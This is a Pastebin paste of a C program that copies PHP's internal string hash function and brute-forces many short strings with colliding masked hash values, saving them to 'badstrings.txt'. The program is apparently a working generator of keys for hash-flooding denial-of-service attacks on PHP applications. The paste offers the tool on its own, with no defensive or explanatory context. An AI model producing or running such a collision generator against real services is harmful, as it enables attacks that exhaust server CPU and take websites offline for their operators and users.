Guest User

Untitled

a guest
Jun 11th, 2018
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.88 KB | None | 0 0
  1. #include <stddef.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4. #include <stdint.h>
  5. #include <limits.h>
  6.  
  7. #define MASK 0x4fff
  8.  
  9. unsigned long zend_inline_hash_func(char *arKey, unsigned int nKeyLength, unsigned long hash)
  10. {
  11.     //register unsigned long hash = 5381;
  12.  
  13.     /* variant with the hash unrolled eight times */
  14.     for (; nKeyLength >= 8; nKeyLength -= 8) {
  15.         hash = ((hash << 5) + hash) + *arKey++;
  16.         hash = ((hash << 5) + hash) + *arKey++;
  17.         hash = ((hash << 5) + hash) + *arKey++;
  18.         hash = ((hash << 5) + hash) + *arKey++;
  19.         hash = ((hash << 5) + hash) + *arKey++;
  20.         hash = ((hash << 5) + hash) + *arKey++;
  21.         hash = ((hash << 5) + hash) + *arKey++;
  22.         hash = ((hash << 5) + hash) + *arKey++;
  23.     }
  24.     switch (nKeyLength) {
  25.         case 7: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
  26.         case 6: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
  27.         case 5: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
  28.         case 4: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
  29.         case 3: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
  30.         case 2: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
  31.         case 1: hash = ((hash << 5) + hash) + *arKey++; break;
  32.         case 0: break;
  33. //EMPTY_SWITCH_DEFAULT_CASE()
  34.     }
  35.     return hash;
  36. }
  37.  
  38.  
  39.  
  40.  
  41. int incstr(char* str, int n)
  42. {
  43.     char* chars;
  44.     char* c;
  45.     char d;
  46.  
  47.     chars = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_1234567890";
  48.  
  49.     if(str[n] == '0') {
  50.         if(n == 0) return 1;
  51.  
  52.         str[n] = 'q';
  53.  
  54.         incstr(str, n-1);
  55.         return 0;
  56.     };
  57.  
  58.     d = (char)(str[n]);
  59.     c = strchr(chars, d);
  60.     str[n] = *(c + 1);
  61.     return 0;
  62. };
  63.  
  64. int main(int argc, char** argv)
  65. {
  66.         char* prelude;
  67.         char* chars;
  68.         int prelen;
  69.         unsigned long prehash, phs, h, i, coll;
  70.         int c;
  71.         int outlen, quiet, pipe;
  72.  
  73.         FILE* f;
  74.  
  75.         union {
  76.             //uint64_t num;
  77.             char str[32];
  78.         } x;
  79.  
  80.         outlen = 4;
  81.         quiet = 0;
  82.         pipe = 0;
  83.  
  84.         if(pipe) {
  85.             quiet = 1;
  86.             f = stdout;
  87.         } else {
  88.             f = fopen("badstrings.txt", "wb");
  89.         }
  90.  
  91.         //prelude = "fuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphp";
  92.         prelude = "";
  93.         prelen = strlen(prelude);
  94.  
  95.         // 5381 is one of php's copious non-macroed magic numbers scattered throughout the source
  96.         prehash = zend_inline_hash_func(prelude, prelen, 5381);
  97.         phs = prehash & MASK;
  98.  
  99.         //printf("%lu",prehash); return 0;
  100.         coll = 0;
  101.         for(i = 0; i < 31; i++)
  102.             x.str[i] = 'q';
  103.  
  104.         x.str[outlen+1] = 0;
  105.         c = 0;
  106.         while(1) {
  107.             h = zend_inline_hash_func(x.str, 32, prehash) & MASK;
  108.             if(h == phs) {
  109.                 coll++;
  110.                 printf("%ld: %s\n", coll, x.str);
  111.                 fprintf(f, "%s%s\n", prelude, x.str);
  112.             } else {
  113.                 //if(!(i % 1000000))
  114.                 //printf("none: %lu - %.32s\n", h, x.str);
  115.             }
  116.  
  117.             if(coll > MASK + 3) break;
  118.             if(incstr(x.str, outlen)) break;
  119.         }
  120.  
  121.         if(!quiet) printf("\n\ncollisions: %d\n", (int) coll);
  122.         if(!pipe) fclose(f);
  123.  
  124.         return 0;
  125. };
Add Comment
Please, Sign In to add comment